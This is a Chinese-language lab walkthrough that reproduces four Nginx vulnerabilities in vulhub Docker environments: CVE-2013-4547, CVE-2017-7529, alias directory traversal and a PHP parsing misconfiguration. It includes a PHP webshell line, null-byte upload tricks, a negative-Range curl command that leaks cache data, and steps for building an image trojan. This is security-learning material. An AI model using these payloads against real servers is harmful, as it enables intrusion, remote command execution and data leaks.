Nginx服务漏洞复现
CVE-2013-4547(文件名逻辑漏洞)
影响说明
绕过服务器策略,上传webshell
配置docker环境,下载靶场
cd vulhub-master/nginx/CVE-2013-4547 //切换到靶机目录
docker-compose build //创建环境
docker-compose up -d //打开环境
进行访问测试,确认是否搭建好
查看源代码,查看过滤的文件格式
上传一个图片格式
文件名字为shell.jpg,其中的内容是<?php phpinfo();?>,
被burp 拦截后需要在文件名后面加两个空格,发现上传成功
构造shell.jpg[0x20][0x00].php
造成Nginx 解析漏洞使我们的muma.jpg解析成php,访问。
先上传shell.jpg .php 文件,注意jpg后面有两个空格
然后在burp中抓取数据包把shell.jpg后面的两个空格 [0x20] [0x20] --> [0x20] [0x00] ,发现成功上传
6.访问http://192.168.154.149:8080/uploadfiles/shell.jpg .php
但是空格会被编码,在burp手动改为shell.jpg .php
最后把shell.jpg后面的两个空格[0x20] [0x20] --> [0x20] [0x00] ,发现成功访问文件
执行一句话代码
将shell.jpg文件编辑以下代码,然后按上述步骤再次上传抓包修改,将返回,木马执行结果。
<?php system($_GET['var']); ?>
CVE-2017-7529(Nginx越界读取缓存漏洞)
影响说明
信息泄漏
配置docker环境,下载靶场
cd vulhub-master/nginx/CVE-2017-7529 //切换到靶机目录
docker-compose build //创建环境
docker-compose up -d //打开环境
进行访问测试,确认是否搭建好
漏洞原理
Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。
如果构造了两个负的位置,将可能读取到负位置的数据。如果这次请求又命中了缓存文件,就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
Range 是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content 状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable 状态码,表示客户端错误。服务器允许忽略 Range 首部,从而返回整个文件,状态码用 200。
range是什么?
存在于HTTP请求头中,表示请求目标资源的部分内容,例如请求一个图片的前半部分,单位是byte,原则上从0开始,但今天介绍的是可以设置为负数。
range的典型应用场景例如:断点续传、分批请求资源。
range在HTTP头中的表达方式:
Range:bytes=0-1024 表示访问第0到第1024字节;
Range:bytes=100-200,601-999,-300 表示分三块访问,分别是100到200字节,601到600字节,最后的300字节;
Range:-100 表示访问最后的100个字节
range在HTTP Response表示:
Accept-Ranges:bytes 表示接受部分资源的请求;
Content-Range: bytes START-END/SIZE START-END表示资源的开始和结束位置,SIZE表示资源的的长度
漏洞检测
使用curl工具测试下,命令如下,执行后发现,返回的内容是正常的。
curl -i http://127.0.0.1:8080 -r 0-612
可以看到我们的HTTP返回头部长度是612,都是正常的,并没有溢出现象
漏洞复现
curl -i http://127.0.0.1:8080/ -r -17308,-9223372036854758500
也可以使用代码进行溢出
执行之后返回上述结果,可以看到HTTP的返回头和返回体中已经不一样了,返回头中返回了缓存文件KEY,这样会导致信息的泄露
Nginx目录穿越漏洞
影响说明
信息泄漏
环境搭建
配置docker环境,下载靶场
cd vulhub-master/nginx/insecure-configuration //切换到靶机目录
docker-compose build //创建环境
docker-compose up -d //打开环境
漏洞复现
Nginx的目录穿越漏洞严格定义的话,并非是漏洞,而是Nginx的特性,问题出在alias上,“在Nginx的虚拟目录配置上,也就是Alias。Alias正如其名,alias指定的路径是location的别名,不管location的值怎么写,资源的真实路径都是Alias指定的路径”(看了两遍才看懂,可以注意点看这句话,很好理解)通俗来讲就是,当我访问http://your-ip/files/时真正访问的路径是/home/,而不是我们以为的/var/www/html/files/
最终导致下图情况,造成信息泄漏,如果目录中有数据库备份、源码备份危害就更大了。
所以当我们访问http://your-ip/files…/时候,访问到了/home/的上一个目录,也就是“/”目录.所以就造成了一个目录穿越漏洞。
看一下该配置文件
修复方法
修复on改为off即可
Nginx解析漏洞
影响说明
命令执行,获取服务器web权限
配置docker环境,下载靶场
cd vulhub-master/nginx/nginx_parsing_vulnerability //切换到靶机目录
docker-compose build //创建环境
docker-compose up -d //打开环境
测试环境
http://192.168.154.149/uploadfiles/nginx.png
正常显示
漏洞成因
nginx解析漏洞因为用户配置不当造成的漏洞。
解析格式:
1.jpg/.php、1.jpg/.php,1.jpg会被当成php格式解析
nginx和iis7.x解析漏洞类似,都是加上/.php后文件以php格式解析。
漏洞复现
http://192.168.154.149/uploadfiles/nginx.png/.php
可知在原先的url中增加/.php后缀,被解析成PHP文件
然后访问http://192.168.154.149/index.php
上传图片马
图片马制作:随便准备一张照片和一个小马通过cmd命令生成图片马
上传成功之后进行访问
然后在图片后加/.php 将会把文件当成php文件进行解析
总体来说是因为配置不当造成的一个解析漏洞,实战环境下可以先测试是否存在解析漏洞。